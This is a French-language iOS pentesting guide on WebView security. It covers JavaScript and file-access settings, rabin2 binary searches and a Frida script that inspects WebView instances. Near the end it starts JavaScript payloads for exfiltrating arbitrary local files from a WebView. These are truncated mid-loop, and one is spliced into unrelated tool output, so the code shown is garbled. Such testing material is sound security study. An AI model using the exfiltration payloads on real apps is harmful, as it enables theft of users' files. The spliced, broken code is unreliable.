Les WebViews sont des composants de navigateur intégrés aux applications pour afficher du contenu web interactif. Ils peuvent être utilisés pour intégrer directement du contenu web dans l'interface utilisateur d'une application. Les WebViews iOS prennent en charge l'exécution de JavaScript par défaut, de sorte que l'injection de script et les attaques de script intersites peuvent les affecter.
* **UIWebView** : UIWebView est obsolète à partir d'iOS 12 et ne doit pas être utilisé. Il ne devrait pas être utilisé. JavaScript ne peut pas être désactivé.
* **WKWebView** : c'est le choix approprié pour étendre la fonctionnalité de l'application, contrôler le contenu affiché.
* JavaScript est activé par défaut, mais grâce à la propriété `javaScriptEnabled` de `WKWebView`, il peut être complètement désactivé, empêchant toutes les failles d'injection de script.
* La propriété `JavaScriptCanOpenWindowsAutomatically` peut être utilisée pour empêcher JavaScript d'ouvrir de nouvelles fenêtres, telles que des pop-ups.
* La propriété `hasOnlySecureContent` peut être utilisée pour vérifier que les ressources chargées par le WebView sont récupérées via des connexions chiffrées.
* `WKWebView` implémente un rendu hors processus, de sorte que les bugs de corruption de mémoire n'affecteront pas le processus principal de l'application.
* **SFSafariViewController** : il doit être utilisé pour fournir une expérience de visualisation web généralisée. Ces WebViews peuvent être facilement repérés car ils ont une disposition caractéristique qui comprend les éléments suivants :
* Un champ d'adresse en lecture seule avec un indicateur de sécurité.
* Un bouton d'action ("Partager").
* Un bouton "Terminé", des boutons de navigation avant et arrière, et un bouton "Safari" pour ouvrir la page directement dans Safari.
* JavaScript ne peut pas être désactivé dans `SFSafariViewController` et c'est l'une des raisons pour lesquelles l'utilisation de `WKWebView` est recommandée lorsque l'objectif est d'étendre l'interface utilisateur de l'application.
* `SFSafariViewController` partage également les cookies et autres données de site Web avec Safari.
* L'activité et l'interaction de l'utilisateur avec un `SFSafariViewController` ne sont pas visibles pour l'application, qui ne peut pas accéder aux données de saisie automatique, à l'historique de navigation ou aux données de site Web.
* Selon les directives de révision de l'App Store, les `SFSafariViewController` ne peuvent pas être masqués ou obscurcis par d'autres vues ou couches.
## Découverte de la configuration des WebViews
### Analyse statique
**UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
```
**WKWebView**
WKWebView est une vue Web introduite dans iOS 8 qui remplace UIWebView. Elle est plus rapide et plus efficace que UIWebView car elle utilise le moteur de rendu WebKit. Elle prend également en charge les fonctionnalités HTML5 et JavaScript modernes.
Pour tester une application iOS qui utilise WKWebView, vous pouvez utiliser des outils tels que Burp Suite ou OWASP ZAP pour intercepter et modifier le trafic HTTP/S. Vous pouvez également utiliser des outils tels que Frida ou Cycript pour injecter du code JavaScript dans l'application et manipuler la vue Web.
Il est important de noter que les applications iOS utilisant WKWebView peuvent être vulnérables à des attaques de type XSS (Cross-Site Scripting) si elles ne sont pas correctement sécurisées. Les développeurs doivent s'assurer que toutes les entrées utilisateur sont correctement validées et échappées avant d'être affichées dans la vue Web.
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
```
Alternativement, vous pouvez également rechercher les méthodes connues de ces classes WebView. Par exemple, recherchez la méthode utilisée pour initialiser un WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```
#### Test de la configuration JavaScript
Pour les `WKWebView`, il est recommandé de désactiver JavaScript sauf s'il est explicitement requis. Pour vérifier que JavaScript a été correctement désactivé, recherchez les utilisations de `WKPreferences` dans le projet et assurez-vous que la propriété [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) est définie sur `false`:
```
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
```
Si vous avez seulement le binaire compilé, vous pouvez chercher cela dedans :
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
```
#### Test de OnlySecureContent
Contrairement aux `UIWebView`, lors de l'utilisation de `WKWebView`, il est possible de détecter [du contenu mixte](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (contenu HTTP chargé à partir d'une page HTTPS). En utilisant la méthode [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent), il est possible de vérifier si toutes les ressources de la page ont été chargées via des connexions sécurisées et cryptées.\
Dans le binaire compilé :
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
Vous pouvez également rechercher dans le code source ou les chaînes la chaîne "http://". Cependant, cela ne signifie pas nécessairement qu'il y a un problème de contenu mixte. En savoir plus sur le contenu mixte dans les [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
### Analyse dynamique
Il est possible d'inspecter le tas via `ObjC.choose()` pour trouver des instances des différents types de WebViews et également rechercher les propriétés `javaScriptEnabled` et `hasonlysecurecontent` :
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
Chargez-le avec:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: >
hasOnlySecureContent: false
```
## Gestion des protocoles WebView
Plusieurs schémas par défaut sont disponibles et sont interprétés dans une WebView sur iOS, par exemple :
* http(s)://
* file://
* tel://
Les WebViews peuvent charger du contenu distant à partir d'un point de terminaison, mais elles peuvent également charger du contenu local à partir du répertoire de données de l'application. Si le contenu local est chargé, l'utilisateur ne devrait pas être en mesure d'influencer le nom de fichier ou le chemin utilisé pour charger le fichier, et les utilisateurs ne devraient pas être en mesure de modifier le fichier chargé.
### Chargement de contenu WebView
* **UIWebView** : Il peut utiliser des méthodes obsolètes [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) pour charger du contenu.
* **WKWebView** : Il peut utiliser les méthodes [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) pour charger des fichiers HTML locaux et `loadRequest:` pour le contenu web. Typiquement, les fichiers locaux sont chargés en combinaison avec des méthodes incluant, entre autres : [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). De plus, vous devriez également vérifier si l'application utilise la méthode [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Son premier paramètre est `URL` et contient l'URL à charger dans la WebView, son deuxième paramètre `allowingReadAccessToURL` peut contenir un seul fichier ou un répertoire. S'il contient un seul fichier, ce fichier sera disponible pour la WebView. Cependant, s'il contient un répertoire, tous les fichiers de ce **répertoire seront disponibles pour la WebView**. Par conséquent, il vaut la peine d'inspecter cela et, dans le cas où il s'agit d'un répertoire, de vérifier qu'aucune donnée sensible ne peut être trouvée à l'intérieur.
Si vous avez le code source, vous pouvez rechercher ces méthodes. Si vous avez le **binaire compilé**, vous pouvez également rechercher ces méthodes :
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
### Accès aux fichiers
* **UIWebView:**
* Le schéma `file://` est toujours activé.
* L'accès aux fichiers à partir des URL `file://` est toujours activé.
* L'accès universel à partir des URL `file://` est toujours activé.
* Si vous récupérez l'origine effective d'un `UIWebView` où `baseURL` est également défini sur `nil`, vous verrez qu'elle n'est **pas définie sur "null"**, mais vous obtiendrez quelque chose de similaire à ce qui suit : `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`. Cette origine "applewebdata://" est similaire à l'origine "file://" car elle **n'implémente pas la politique de même origine** et permet l'accès aux fichiers locaux et à toutes les ressources web.
{% tabs %}
{% tab title="exfiltrate_file" %}
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
```
#### Exfiltrer des fichiers arbitraires
```javascript
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i